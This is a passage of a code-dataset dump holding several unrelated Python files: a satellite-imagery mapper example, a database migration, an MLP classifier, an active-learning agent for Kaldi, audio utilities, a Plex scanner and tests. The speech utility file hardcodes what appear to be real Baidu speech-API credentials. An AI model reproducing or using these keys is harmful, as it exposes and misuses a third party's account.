47.7295]\n geom = box(*bbox)\n metadata_filters = [Filter('product_type', '==', 'RTC')]\n\n feature = Feature(\n name='Test Area',\n geometry=geom,\n epsg=4326,\n attributes={'id': 1}\n )\n mapper_configs = MapperConfigs(\n collection=collection,\n time_start=time_start,\n time_end=time_end,\n feature=feature,\n metadata_filters=metadata_filters\n )\n mapper = Mapper(mapper_configs)\n mapper.query_scenes()\n\n mapper.metadata\n\n scene_kwargs = {\n 'scene_constructor': Sentinel1.from_safe,\n 'scene_constructor_kwargs': {}\n }\n mapper.load_scenes(scene_kwargs=scene_kwargs)\n f = mapper.data.plot(band_selection=['VH'], figsize=(20, 10))\n","repo_name":"EOA-team/eodal","sub_path":"examples/sentinel1_mapper.py","file_name":"sentinel1_mapper.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"37"} +{"seq_id":"70994876267","text":"\"\"\"Add change_tag_expiration log type\n\nRevision ID: d8989249f8f6\nRevises: dc4af11a5f90\nCreate Date: 2017-06-21 21:18:25.948689\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'd8989249f8f6'\ndown_revision = 'dc4af11a5f90'\n\nfrom alembic import op as original_op\nfrom data.migrations.progress import ProgressWrapper\n\ndef upgrade(tables, tester, progress_reporter):\n op = ProgressWrapper(original_op, progress_reporter)\n op.bulk_insert(tables.logentrykind, [\n {'name': 'change_tag_expiration'},\n ])\n\n\ndef downgrade(tables, tester, progress_reporter):\n op = ProgressWrapper(original_op, progress_reporter)\n op.execute(tables\n .logentrykind\n .delete()\n .where(tables.logentrykind.c.name == op.inline_literal('change_tag_expiration')))\n","repo_name":"angry-tony/quay","sub_path":"data/migrations/versions/d8989249f8f6_add_change_tag_expiration_log_type.py","file_name":"d8989249f8f6_add_change_tag_expiration_log_type.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3961335328","text":"salario, horasExtras, bonificacion = input().split()\nsalario = float(salario)\nhorasExtras = int(horasExtras)\nbonificacion = int(bonificacion)\n\nhoraTrabajo = salario/186\nvalorExtra = horaTrabajo*0.35\nporctBonificacion = salario*0.055*bonificacion\nsalarioTotal = salario+((valorExtra+horaTrabajo)*horasExtras)+porctBonificacion\ndescSalud = salarioTotal*0.045\ndescPension = salarioTotal*0.045\ndescCaja = salarioTotal*0.03\npagoSueldo = salarioTotal-descCaja-descPension-descSalud\n\nprint(round(salarioTotal,1),round(pagoSueldo,1))\n","repo_name":"diegomez-ang/python","sub_path":"entregaReto.py","file_name":"entregaReto.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38062615971","text":"# -*- coding: utf-8 -*-\nnumbers = input().split()\nlist1 = list()\nfor item in numbers:\n list1.append(int(item))\nlist2 = sorted(list1)\nlist3 = sorted(list1, reverse=True)\n\nif list1 == list2:\n print('C')\nelif list1 == list3:\n print('D')\nelse:\n print('N')\n","repo_name":"Cadulox/uri-online-judge","sub_path":"Ad-Hoc/2456/cartas.py","file_name":"cartas.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20189395166","text":"import supervised_classifier\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom torch.utils.data import DataLoader, Dataset\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom support.embedding_model import Embedding_Model\n\nclass MLP_Dataset(Dataset):\n def __init__(self, dataset):\n dim1 = len(dataset)\n dim2 = len(dataset[0]['X'])\n self.X = np.zeros(shape=(dim1, dim2), dtype=np.float32)\n self.Y = np.zeros(shape=(dim1, 1), dtype=np.float32)\n for idx, a in enumerate(dataset):\n self.X[idx] = a['X']\n self.Y[idx][0] = a['Y']\n\n def __len__(self):\n return len(self.X)\n\n def __getitem__(self, index):\n x = self.X[index]\n y = self.Y[index]\n return x, y\n\nclass MLP_model(nn.Module):\n def __init__(self, n_features, n_hidden_units, dropout):\n super(MLP_model, self).__init__()\n self.mlp = nn.Sequential(\n nn.Linear(n_features, n_hidden_units),\n nn.Dropout(dropout),\n nn.Linear(n_hidden_units, n_hidden_units),\n nn.Dropout(dropout),\n nn.Linear(n_hidden_units, 1),\n nn.Sigmoid()\n )\n\n def forward(self, x):\n out = self.mlp(x)\n return out\n\n\nclass Classifier_MLP(supervised_classifier.Supervised_Classifier):\n def __init__(self,\n dataset,\n type_prediction : {'head', 'tail'},\n results_dir,\n embedding_model : Embedding_Model,\n hyper_params = None,\n model_path = None):\n if hyper_params is None:\n hyper_params = { \"n_units\" : 100, \"dropout\" : 0.2}\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n super(Classifier_MLP, self).__init__(dataset, type_prediction, results_dir,\n embedding_model, hyper_params, model_path)\n if model_path is not None:\n self.get_model().eval()\n\n def init_model(self, embedding_model, hyper_params):\n n_units = hyper_params['n_units']\n dropout = hyper_params['dropout']\n n_features = embedding_model.get_size_embedding_entity() * 2 + embedding_model.get_size_embedding_relation()\n self.set_model(MLP_model(n_features, n_units, dropout).to(self.device))\n\n def get_name(self):\n return \"MLP\"\n\n def create_training_data(self, queries_with_annotated_answers):\n out = []\n for query in tqdm(queries_with_annotated_answers):\n assert(query['query']['type'] == 1 or self.type_prediction == 'head')\n assert (query['query']['type'] == 0 or self.type_prediction == 'tail')\n ent = query['query']['ent']\n rel = query['query']['rel']\n emb_e = self.embedding_model.get_embedding_entity(ent)\n emb_r = self.embedding_model.get_embedding_relation(rel)\n for answer in query['annotated_answers']:\n a = answer['entity_id']\n emb_a = self.embedding_model.get_embedding_entity(a)\n data_entry = {}\n #X\n if self.type_prediction == 'head':\n X = np.concatenate([emb_a, emb_r, emb_e])\n else:\n X = np.concatenate([emb_e, emb_r, emb_a])\n #Y\n if answer['checked']:\n Y = 1\n else:\n Y = 0\n data_entry['X'] = X\n data_entry['Y'] = Y\n out.append(data_entry)\n return out\n\n def train(self, training_data, valid_data, model_path, batch_size=100, epochs=10):\n # Load input data\n self.get_model().train()\n training_data_set = MLP_Dataset(training_data)\n train_data_loader = DataLoader(training_data_set, batch_size=batch_size, shuffle=True)\n\n criterion = nn.BCELoss()\n optimizer = optim.Adam(self.get_model().parameters())\n for epoch in range(epochs): # loop over the dataset multiple times\n print(\"Start epoch {}\".format(epoch))\n running_loss = 0.0\n for i, data in enumerate(train_data_loader, 0):\n inputs, labels = data\n inputs.to(self.device)\n labels.to(self.device)\n optimizer.zero_grad()\n outputs = self.get_model()(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n # print statistics\n running_loss += loss.item()\n if i % 2000 == 1999: # print every 2000 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 2000))\n running_loss = 0.0\n # TODO: Test the performance on the valid dataset\n\n # Save model\n self.save_model(model_path)\n\n def predict(self, query_with_answers, type_answers):\n ent = query_with_answers['ent']\n rel = query_with_answers['rel']\n typ = query_with_answers['type']\n assert (typ == 1 or self.type_prediction == 'head')\n assert (typ == 0 or self.type_prediction == 'tail')\n emb_e = self.embedding_model.get_embedding_entity(ent)\n emb_r = self.embedding_model.get_embedding_relation(rel)\n annotated_answers = []\n for answer in query_with_answers[type_answers]:\n # Construct the input features for the model\n emb_a = self.embedding_model.get_embedding_entity(answer)\n if self.type_prediction == 'head':\n X = np.concatenate([emb_a, emb_r, emb_e])\n else:\n X = np.concatenate([emb_e, emb_r, emb_a])\n # Do the prediction\n out = self.get_model()(torch.Tensor(X))\n score = out.item()\n checked = score > 0.5\n annotated_answers.append({'entity_id' : answer, 'checked' : checked, 'score': score})\n return annotated_answers","repo_name":"karmaresearch/duel","sub_path":"code/classifier_mlp.py","file_name":"classifier_mlp.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19248387274","text":"# !/usr/bin/env python3\n\nimport wave\nimport pyaudio\nfrom pyaudio import PyAudio, paInt16\nfrom aip import AipSpeech\nimport io, os, subprocess, wave\nimport io\n\n\nCUID = '93489083242'\nDEV_PID = 1537\n\ndef audio_record_rt(rec_time):\n CHUNK = 1024\n FORMAT = pyaudio.paInt16 #16bit编码格式\n CHANNELS = 1 #单声道\n RATE = 16000 #16000采样频率\n p = pyaudio.PyAudio()\n # 创建音频流\n stream = p.open(format=FORMAT, # 音频流wav格式\n channels=CHANNELS, # 单声道\n rate=RATE, # 采样率16000\n input=True,\n frames_per_buffer=CHUNK)\n print(\"Start Recording...\")\n frames = [] # 录制的音频流\n # 录制音频数据\n for i in range(0, int(RATE / CHUNK * rec_time)):\n data = stream.read(CHUNK)\n frames.append(data)\n # 录制完成\n stream.stop_stream()\n stream.close()\n p.terminate()\n print(\"Recording Done...\")\n # 保存音频文件\n with io.BytesIO() as wav_file:\n wf = wave.open(wav_file, 'wb')\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n wf.writeframes(b''.join(frames))\n wf.close()\n wav_data = wav_file.getvalue()\n return wav_data\n\ndef shutil_which(pgm):\n \"\"\"\n python2 backport of python3's shutil.which()\n \"\"\"\n path = os.getenv('PATH')\n for p in path.split(os.path.pathsep):\n p = os.path.join(p, pgm)\n if os.path.exists(p) and os.access(p, os.X_OK):\n return p\n\ndef play_mp3(mp3_data):\n import platform, os, stat\n # determine which player executable to use\n system = platform.system()\n path = os.path.dirname(os.path.abspath(\n __file__)) # directory of the current module file, where all the FLAC bundled binaries are stored\n player = shutil_which(\"mpg123\") # check for installed version first\n if player is None: # flac utility is not installed\n if system == \"Windows\" and platform.machine() in [\"i386\", \"x86\", \"x86_64\",\n \"AMD64\"]: # Windows NT, use the bundled FLAC conversion utility\n player = os.path.join(path, \"player\", \"mpg123-win32.exe\")\n elif system == \"Linux\" and platform.machine() in [\"i386\", \"x86\", \"x86_64\", \"AMD64\"]:\n player = os.path.join(path, \"player\", \"mpg123-linux\")\n elif system == 'Darwin' and platform.machine() in [\"i386\", \"x86\", \"x86_64\", \"AMD64\"]:\n player = os.path.join(path, \"player\", \"mpg123-mac\")\n else:\n raise OSError(\n \"MP3 player utility not available - consider installing the MPG123 command line application using `brew install mpg123` or your operating system's equivalent\")\n\n try:\n stat_info = os.stat(player)\n os.chmod(player, stat_info.st_mode | stat.S_IEXEC)\n except OSError:\n pass\n\n process = subprocess.Popen(\"\\\"%s\\\" -q -\" % player, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)\n play_info, stderr = process.communicate(mp3_data)\n return play_info\n\nsp_client = AipSpeech('14922410', 'NSChZHWWVwa1BSwZ36Oaya4C', '1dd0sxs2LXYRWETZ4gZSSDYDQvM6aROv')","repo_name":"konghaoshen/CustomerServiceAI","sub_path":"asr/speech_utils.py","file_name":"speech_utils.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33413647521","text":"import urllib, re\nfrom xml.dom import minidom\nimport Media, AudioFiles\n\nVirtual = True\n\ndef Scan(path, files, mediaList, subdirs, language=None):\n if len(path) == 0:\n # Top level, albums.\n dom = minidom.parse(urllib.urlopen('http://127.0.0.1:32400/music/iTunes/Albums'))\n for album in sorted(dom.getElementsByTagName('Album'), key=lambda album: album.getAttribute('artist').lower() + album.getAttribute('album').lower()):\n subdirs.append('/' + album.getAttribute('key'))\n else:\n # Tracks.\n paths = path.split('/')\n dom = minidom.parse(urllib.urlopen('http://127.0.0.1:32400/music/iTunes/Albums/%s' % paths[0]))\n artist_album_map = {}\n compilation_count = 0\n for track in dom.getElementsByTagName('Track'):\n # Figure out album artist.\n album_artist = track.getAttribute('albumArtist').strip()\n artist_album_map[album_artist] = True\n if len(album_artist) == 0: album_artist = None\n else: album_artist = album_artist.encode('utf-8')\n \n # Track index, do a bit of extra work.\n index = int(track.getAttribute('index'))\n file = track.getAttribute('file').split('/')[-1]\n if index == 0:\n try: index = int(re.findall('[.\\-]+[ ]*([0-9]{2})[ ]*[.\\-]', file)[0])\n except: \n try: index = int(re.findall('^([0-9]{2})[ .\\-]', file)[0])\n except: pass\n \n # Add the track.\n t = Media.Track(artist = track.getAttribute('artist').encode('utf-8'),\n album = track.getAttribute('album').encode('utf-8'),\n title = track.getAttribute('track').encode('utf-8'),\n index = index,\n album_artist = album_artist,\n disc = int(track.getAttribute('disc')))\n if track.getAttribute('compilation') == '1': compilation_count = compilation_count + 1\n t.parts.append(urllib.unquote(track.getAttribute('file')).encode('utf-8'))\n mediaList.append(t)\n \n # If we're listed as a compilation, make sure all album artists are there and the same.\n if compilation_count > 0 and (len(artist_album_map) > 1 or len(artist_album_map.keys()[0]) == 0):\n for t in mediaList:\n t.album_artist = 'Various Artists'\n","repo_name":"jbartfield/Scanners.bundle","sub_path":"Contents/Resources/Music/Plex iTunes Scanner.py","file_name":"Plex iTunes Scanner.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35211127106","text":"import torch\nimport math\nimport matplotlib.pyplot as plt\n\ndef mod_sigmoid(x):\n return 2 * torch.sigmoid(x)**(math.log(10)) + 1e-7\n\ndef safe_log(x, eps=1e-7):\n return torch.log(x + eps)\n\n###################\n# Noise Filtering - Follows same as DDSP repo\n# https://github.com/magenta/ddsp/blob/main/ddsp/synths.py#L181\n# Takes fourier domain filter coefficients and a filter window and returns filtered uniform noise\n# - Calculate parameters, N, num_samples\n# - Invert filter coefficients from fourier domain -> time domain\n# - Applywindowing by multiplying time domain filter coefficients by filter (FFT, Hann etc) window\n# - Apply FFT shift on filter coefficient in time domain\n# - Create noise signal from uniform noise\n# - Transform noise signal and windowed filter coefficients into fourier domain\n# - Convolve the signal, by multiplying them in the fourier domain\n# - Perform inverse fourier transform of new signal to get audio signal\ndef noise_filtering(filter_coeffs,filter_window):\n N = filter_coeffs.shape[0]\n # get number of sample based on number of freq bins\n num_samples = (filter_coeffs.shape[1]-1)*2\n dtype = filter_coeffs.dtype\n # create impulse response\n # torch.complex is not implemented on MPS, use CPU\n filter_coeffs = torch.complex(filter_coeffs,torch.zeros_like(filter_coeffs))\n # Inverting filter coefficients from fourier domain --> tmie domain for windowing\n filter_ir = torch.fft.irfft(filter_coeffs)\n # Apply windowing\n filter_ir = filter_ir*filter_window.unsqueeze(0).repeat(N,1)\n # ir = filter_ir[0].detach().cpu().numpy()\n # plt.plot(ir)\n # plt.savefig(\"windowed_impulse_response.png\")\n\n # Apply fft shift \n # Question - Why are we doing this and what is it doing, can see that it is done in DDSP\n \n filter_ir = torch.fft.fftshift(filter_ir,dim=-1)\n # convolve with noise signal\n # Create noise, why doe we multiply by 2 and subtract 1 here\n noise = torch.rand(N, num_samples, dtype=dtype, device=filter_coeffs.device)*2-1\n # Transform noise and impulse response filters into fourier domain\n S_noise = torch.fft.rfft(noise,dim=1)\n S_filter = torch.fft.rfft(filter_ir,dim=1)\n # Conv (multiply in fourier domain)\n S = torch.mul(S_noise,S_filter)\n # Invert back into time domain to get audio\n audio = torch.fft.irfft(S)\n\n # Note that overlapp and add is used here in DDSP, \n # but this is because they are usung a bunch of audio frames\n # do they doe something similar in Neural Gran Synth\n\n return audio","repo_name":"aaron-dees/neuralGranularSynthesis","sub_path":"utils/dsp_components.py","file_name":"dsp_components.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22556006058","text":"import logging\nimport random\nfrom random import sample\nfrom typing import List, Dict, NoReturn\nimport os, sys\nimport numpy as np\nimport pandas as pd\nimport json\nfrom torch.utils import data\nimport torch\nfrom torch.utils.data import BatchSampler, SubsetRandomSampler\nfrom tqdm import tqdm\n\nfrom .util_classes import RenovationError\nfrom .data_utils import command_line\n\nTQDM_MODE = True\n\n\nclass AgentBase:\n def __init__(\n self, train_set, batch_size, selector_class, model, device, budget\n ):\n self.batch_size = batch_size\n self.train_set = train_set\n self.selector = selector_class\n self.selector.assign_agent(self)\n self.model = model\n self.device = device\n\n self.budget = budget\n self.initial_budget = self.budget\n\n self.unlabelled_set = None\n self.labelled_set = None\n self.num = 0\n self.round_all_word_scores = {}\n\n def init(self, init_cost_prop, seed=42):\n print(\"starting random init\")\n self.random_init(init_cost_prop, seed)\n self.update_datasets()\n print(\"finished random init\")\n\n def step(self, update_dataset=True):\n print('step')\n if update_dataset:\n self.update_dataset_attributes()\n self.update_index()\n self.update_datasets()\n\n def budget_spent(self):\n return self.initial_budget - self.budget\n\n def num_instances(self):\n return sum([len(l) for l in self.labelled_set])\n\n def save(self, save_path):\n self.train_set.index.save(save_path)\n self.selector.save(save_path)\n with open(os.path.join(save_path, \"all_word_scores_no_nan.json\"), \"w\") as f:\n json.dump(self.round_all_word_scores, f)\n raise RenovationError('This is original project specific')\n\n def random_init(self, init_cost_prop, seed):\n \"\"\"\n Randomly initialise self.labelled_idx dictionary\n \"\"\"\n\n # Randomly order the datapoints in the dataset using a seed\n init_sampler = random.Random(seed)\n randomly_ordered_indices = sorted(range(len(self.train_set)), key=lambda k: init_sampler.random())\n\n # Use dataset property:\n init_cost = self.train_set.total_cost * init_cost_prop\n\n # Go through random order, stop when cost hit\n budget_spent = 0\n for i in randomly_ordered_indices:\n self.train_set.index.label_instance(i)\n budget_spent += self.train_set.get_cost_by_index(i)\n if budget_spent > init_cost:\n break\n\n # 'Global' cost budget variable\n self.budget -= budget_spent\n\n print(f\"total dataset cost: {self.train_set.total_cost}\")\n print(f\"initialised with {budget_spent} cost | remaining cost budget: {self.budget}\")\n\n def __iter__(self):\n return self\n\n def __next__(self):\n num = self.num\n self.num += 1\n if num < 0:\n raise StopIteration\n if num > 0:\n self.step()\n if self.budget <= 0:\n self.num = -1\n return self.budget\n\n def update_datasets(self):\n unlabelled_instances = set()\n labelled_instances = set()\n\n print(\"update datasets\")\n for i in tqdm(range(len(self.train_set)), disable=not TQDM_MODE):\n if self.train_set.index.is_partially_unlabelled(i):\n unlabelled_instances.add(i)\n if self.train_set.index.has_any_labels(i):\n labelled_instances.add(i)\n\n self.unlabelled_set = list(\n BatchSampler(\n SubsetRandomSampler(list(unlabelled_instances)),\n self.batch_size,\n drop_last=False,\n )\n )\n\n self.labelled_set = list(\n BatchSampler(\n SubsetRandomSampler(list(labelled_instances)),\n self.batch_size,\n drop_last=False,\n )\n )\n\n def update_dataset_attributes(self):\n \"\"\"\n Score unlabelled instances in terms of their suitability to be labelled next.\n Add the highest scoring instance indices in the dataset to self.labelled_idx\n \"\"\"\n\n if self.budget <= 0:\n logging.warning(\"no more budget left!\")\n\n with torch.no_grad():\n # print('get sentence scores')\n for batch_indices in tqdm(\n self.unlabelled_set + self.labelled_set, disable=not TQDM_MODE\n ):\n instances, _, lengths, _ = self.train_set.get_batch(batch_indices, labels_important=False)\n try:\n model_attrs = self.model(instances.to(self.device))\n except:\n model_attrs = self.model(instances)\n model_attrs = {k: v.detach() if isinstance(v, torch.Tensor) else v for k, v in model_attrs.items()}\n self.train_set.update_attributes(batch_indices, model_attrs, lengths)\n\n def update_index(self):\n\n all_windows = []\n for labelled_batch_indices in tqdm(self.labelled_set, disable=not TQDM_MODE):\n windows = self.selector.window_generation(labelled_batch_indices, self.train_set)\n all_windows.extend(windows)\n for unlabelled_batch_indices in tqdm(self.unlabelled_set, disable=not TQDM_MODE):\n windows = self.selector.window_generation(unlabelled_batch_indices, self.train_set)\n all_windows.extend(windows)\n\n all_windows.sort(key=lambda e: e.score, reverse=True)\n best_windows, budget_spent = self.selector.select_best(all_windows)\n self.budget -= budget_spent\n if self.budget < 0:\n logging.warning(\"no more budget left!\")\n\n total_cost = 0\n for window in best_windows:\n total_cost += window.cost\n self.train_set.index.label_window(window)\n\n # No more windows of this size left\n if total_cost < self.selector.round_cost:\n self.selector.reduce_window_size()\n\n\nclass ActiveLearningAgent(AgentBase):\n def __init__(self, train_set, batch_size, selector_class, model, device, budget):\n # ADD AN EXCEPTION FOR THE WRONG TYPE OF SELECTOR HERE\n super(ActiveLearningAgent, self).__init__(train_set, batch_size, selector_class, model, device, budget)\n\n\nclass SubsetSelectionAgent(AgentBase):\n def __init__(self, train_set, batch_size, selector_class, model, device, budget):\n super(SubsetSelectionAgent, self).__init__(train_set, batch_size, selector_class, model, device, budget)\n\n\nclass KaldiAgent(AgentBase):\n def __init__(self, train_set, batch_size, selector_class, model, device, namer, budget, suffix, call_path=True):\n super(KaldiAgent, self).__init__(train_set, batch_size, selector_class, model, device, budget)\n if call_path:\n command_line('bash path.sh')\n self.namer = namer\n self.suffix = suffix\n\n def init(self, init_parts_path):\n print(f'Initialising agent from {init_parts_path}')\n with open(init_parts_path, \"r\") as f:\n lines = f.read()[:-1].split('\\n')\n lines = [l.rstrip() for l in lines]\n previously_selected_indices = []\n\n # TEMPORARY FIX - THIS CAN BE MADE QUICKER UNDER A PERMANENT BY PARTS ASSUMPTION\n utt_ids = {}\n [utt_ids.update({u: (j, k) for k, u in enumerate(self.train_set.utt_ids[j])}) for j in range(len(self.train_set))]\n utt_idxs = []\n for line in lines:\n idxs = utt_ids.get(line)\n if idxs:\n a, b = idxs\n previously_selected_indices.append(a)\n utt_idxs.append(b)\n budget_previously_spent = 0\n for i, j in enumerate(previously_selected_indices):\n self.train_set.index.label_instance(j)\n # Fix this when things are resolved\n budget_previously_spent += self.train_set.cost[j][utt_idxs[i]]\n\n # self.budget -= budget_previously_spent\n print(f'Finished initialising agent with {budget_previously_spent} data, NOT included in {self.budget} budget')\n\n self.update_datasets(write_to_file = False)\n\n def step(self, update_dataset=True):\n self.namer.update_paths(self.suffix)\n return super().step(update_dataset=update_dataset)\n\n def random_init(self, num_instances, seed):\n raise NotImplementedError(\"Random init not implemented for KaldiAgent, init requires a utterance list file\")\n\n def update_datasets(self, write_to_file = True):\n\n unlabelled_instances = set()\n labelled_instances = set()\n\n print(\"update datasets\")\n for i in tqdm(range(len(self.train_set)), disable=not TQDM_MODE):\n if self.train_set.index.is_partially_unlabelled(i):\n unlabelled_instances.add(i)\n if self.train_set.index.has_any_labels(i):\n labelled_instances.add(i)\n\n self.unlabelled_set = list(\n BatchSampler(\n SubsetRandomSampler(list(unlabelled_instances)),\n self.batch_size,\n drop_last=False,\n )\n )\n\n self.labelled_set = list(\n BatchSampler(\n SubsetRandomSampler(list(labelled_instances)),\n self.batch_size,\n drop_last=False,\n )\n )\n\n if write_to_file:\n\n with open(self.namer.current_paths['labelled_utts'], 'w') as f:\n # is sorting an issue? Kaldi might have a case for this\n # MAKE SURE THIS DOES AFFECT LABELLED_SET\n for group_index in labelled_instances:\n group = self.train_set.utt_ids[group_index]\n labelled_utt_ids = [g for i, g in enumerate(group) if i in self.train_set.index.labelled_idx[group_index]]\n for utt_id in labelled_utt_ids:\n f.write(utt_id)\n f.write('\\n')\n\n with open(self.namer.current_paths['unlabelled_utts'], 'w') as f:\n # is sorting an issue? Kaldi might have a case for this\n for group_index in unlabelled_instances:\n group = self.train_set.utt_ids[group_index]\n unlabelled_utt_ids = [g for i, g in enumerate(group) if i in self.train_set.index.unlabelled_idx[group_index]]\n for utt_id in unlabelled_utt_ids:\n f.write(utt_id)\n f.write('\\n')\n\n clustersize = 30\n\n for feature_name in self.namer.feature_names:\n break\n self.prepare_feat_subset(feature_name)\n combined_feature_name = self.combine_feat_subset(feature_name)\n self.compute_cmvn(combined_feature_name)\n self.split_data_dir(combined_feature_name, clustersize)\n self.split_data_dir(feature_name, clustersize)\n\n\nclass AutomaticKaldiNameIncrementer:\n\n def __init__(self, model_run_dir:str, data_run_dir:str, log_run_dir:str, base_model_paths:dict, base_data_paths:dict, base_log_paths:dict, constant_paths:dict, feature_names:list, make=True):\n self.model_run_dir, self.data_run_dir, self.log_run_dir = model_run_dir, data_run_dir, log_run_dir\n self.previous_paths = {}\n self.previous_paths.update({k: os.path.join(model_run_dir, v.split('/')[-1]) for k, v in base_model_paths.items()})\n self.previous_paths.update({k: os.path.join(data_run_dir, v.split('/')[-1]) for k, v in base_data_paths.items()})\n self.previous_paths.update({k: os.path.join(data_run_dir, v.split('/')[-1]) for k, v in base_log_paths.items()})\n\n if make:\n\n for dir in [data_run_dir, model_run_dir, log_run_dir]:\n try:\n os.mkdir(dir)\n except FileExistsError:\n non_symb = [f for f in os.listdir(dir) if not os.path.islink(os.path.join(dir, f))]\n if len(non_symb) == 0:\n print(f\"{dir} exists but only has symbolic links, ignoring error\")\n else:\n raise FileExistsError()\n\n for file_path in base_model_paths.values():\n sym_path = os.path.join(model_run_dir, file_path.split('/')[-1])\n try:\n os.symlink(file_path, sym_path)\n except FileExistsError:\n assert os.readlink(sym_path) == file_path\n\n for file_path in base_data_paths.values():\n sym_path = os.path.join(data_run_dir, file_path.split('/')[-1])\n try:\n os.symlink(file_path, sym_path)\n except FileExistsError:\n assert os.readlink(sym_path) == file_path\n\n for file_path in base_log_paths.values():\n sym_path = os.path.join(log_run_dir, file_path.split('/')[-1])\n try:\n os.symlink(file_path, sym_path)\n except FileExistsError:\n assert os.readlink(sym_path) == file_path\n\n self.current_paths = self.previous_paths.copy()\n self.constant_paths = constant_paths\n self.feature_names = feature_names\n\n def update_paths(self, suffix):\n self.previous_paths = self.current_paths\n self.current_paths = {k: v+suffix for k, v in self.previous_paths.items()}\n","repo_name":"puria-radmard/iib_project","sub_path":"active_learning/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":13376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16381936732","text":"#!/bin/python3\n\nfrom ast import literal_eval\n\n\ndef compareLists(a, b):\n # print(\"Comparing \" + str(a) + \" vs \" + str(b))\n useLen = max(len(a), len(b))\n\n for i in range(useLen):\n if i >= len(a):\n return True\n if i >= len(b):\n return False\n\n if isinstance(a[i], int) and isinstance(b[i], int):\n if a[i] > b[i]:\n return False\n if a[i] < b[i]:\n return True\n elif isinstance(a[i], list) and isinstance(b[i], list):\n retval = compareLists(a[i], b[i])\n if retval is not None:\n return retval\n elif isinstance(a[i], int) and isinstance(b[i], list):\n tmpVal = a[i]\n a[i] = []\n a[i].append(tmpVal)\n retval = compareLists(a[i], b[i])\n if retval is not None:\n return retval\n elif isinstance(a[i], list) and isinstance(b[i], int):\n tmpVal = b[i]\n b[i] = []\n b[i].append(tmpVal)\n retval = compareLists(a[i], b[i])\n if retval is not None:\n return retval\n\n\nfile = open(\"input\", \"r\")\ninput = file.readlines()\nfile.close()\n\npairs = []\ncorrectCounter = 0\n\nfor line in input:\n if line != \"\\n\":\n pairs.append(literal_eval(line.strip()))\n\ntmpCounter = 1\nlocPairs = pairs.copy()\nfor i in range(0, len(pairs), 2):\n compareResult = compareLists(locPairs[i], locPairs[i+1])\n # print(str(tmpCounter) + \": \" + str(compareResult))\n if(compareResult):\n correctCounter += tmpCounter\n tmpCounter += 1\n\nprint(correctCounter)\n\n\n# Part 2\ndef bubbleSort(pairs):\n for i in range(len(pairs)-1):\n for j in range(0, len(pairs)-i-1):\n if compareLists(pairs[j+1], pairs[j]):\n pairs[j], pairs[j+1] = pairs[j+1], pairs[j]\n\n\nstrList = []\nresolution = [-1, -1]\npairs += [[2]]\npairs += [[6]]\nbubbleSort(pairs)\n\nfor (i, line) in enumerate(pairs):\n print(line)\n if line == [[[[2]]]]:\n resolution[0] = i+1\n elif line == [[[[6]]]]:\n resolution[1] = i+1\n\nprint(resolution[0] * resolution[1])\n","repo_name":"benjamin-zastrow/AdventOfCode2022","sub_path":"13/packets.py","file_name":"packets.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33905029818","text":"import pytest\n\nfrom weppy.testing.env import EnvironBuilder\nfrom weppy.sessions import SessionManager\n\n\n@pytest.fixture(scope='module')\ndef current():\n from weppy.globals import current\n builder = EnvironBuilder()\n current.initialize(builder.get_environ())\n return current\n\n\ndef test_session_cookie(current):\n session_cookie = SessionManager.cookies(\n key='sid',\n secure=True,\n domain='localhost',\n cookie_name='foo_session'\n )\n assert session_cookie.key == 'sid'\n assert session_cookie.secure is True\n assert session_cookie.domain == 'localhost'\n\n session_cookie.open()\n assert current.session._expiration == 3600\n\n session_cookie.close()\n cookie = str(current.response.cookies)\n assert 'foo_session' in cookie\n assert 'Domain=localhost;' in cookie\n assert 'secure' in cookie.lower()\n\n current.request.cookies = current.response.cookies\n session_cookie.open()\n assert current.session._expiration == 3600\n","repo_name":"feitianyiren/weppy","sub_path":"tests/test_session.py","file_name":"test_session.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"42726788043","text":"import os\nimport random\nimport threading\nimport logging\nfrom pathlib import Path\nfrom concurrent.futures import ThreadPoolExecutor\nimport grpc\nfrom grpc import StatusCode\n\nfrom scheduler import ledger\nfrom scheduler.event import Event\nfrom scheduler.auth import Auth, AuthException\nfrom scheduler.utils import unix_time, uuid, open_db\n\nfrom capsule import common_pb2 as co\n\nfrom capsule import scheduler_pb2 as sc\nfrom capsule.scheduler_pb2_grpc import (\n SchedulerServicer,\n add_SchedulerServicer_to_server,\n)\n\nfrom capsule import worker_pb2 as wo\nfrom capsule.worker_pb2_grpc import WorkerStub\n\n\ndef requires_token(f):\n \"\"\"Decorator that checks token in request metadata and puts an openid in context.\"\"\"\n\n def _get_metadata(context):\n return 